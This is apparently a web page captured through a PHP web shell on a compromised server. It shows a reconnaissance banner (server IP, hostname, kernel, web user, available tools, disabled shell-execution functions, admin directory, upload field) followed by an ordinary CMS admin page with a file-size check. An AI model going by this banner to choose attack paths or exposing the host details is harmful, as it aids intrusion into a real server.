| Server IP : 210.245.233.93 / Your IP : 216.73.216.226 Web Server : Apache/2.2.15 (CentOS) System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64 User : apache ( 48) PHP Version : 5.3.3 Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/hkosl.com/littleark/webadmin/ |
Upload File : |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="stylesheet" type="text/css" href="css/style.css"/>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Content Management System (CMS) - Powered by One Solution Limited</title>
<script type="text/javascript" src="js/jquery-1.11.1.min.js"></script>
<script type="text/javascript" src="js/jquery-migrate-1.2.1.min.js"></script>
<script type="text/javascript" src="js/jquery-ui-1.11.4/jquery-ui.min.js"></script>
<link type="text/css" href="js/jquery-ui-1.11.4/jquery-ui.css" rel="stylesheet"/>
<script type="text/javascript">
var total_file_size = 0;
$(function () {
$("input[type='file']").on("change", function () {
console.log("Size: " + (this.files[0].size / (1024*1024)).toFixed(2) + " MB \n");
total_file_size += this.files[0].size;
if(this.files[0].size > (1024 * 1024 * 2)){
//txt = "Size: " + (this.files[0].size / (1024*1024)).toFixed(2) + " MB \n";
$(this).val("");
alert("File size should lower than 2 MB.");
}
console.log(total_file_size / (1024*1024).toFixed(2) + " MB \n");
//if(total_file_size > (1024 * 1024 * 2))
});
});
</script>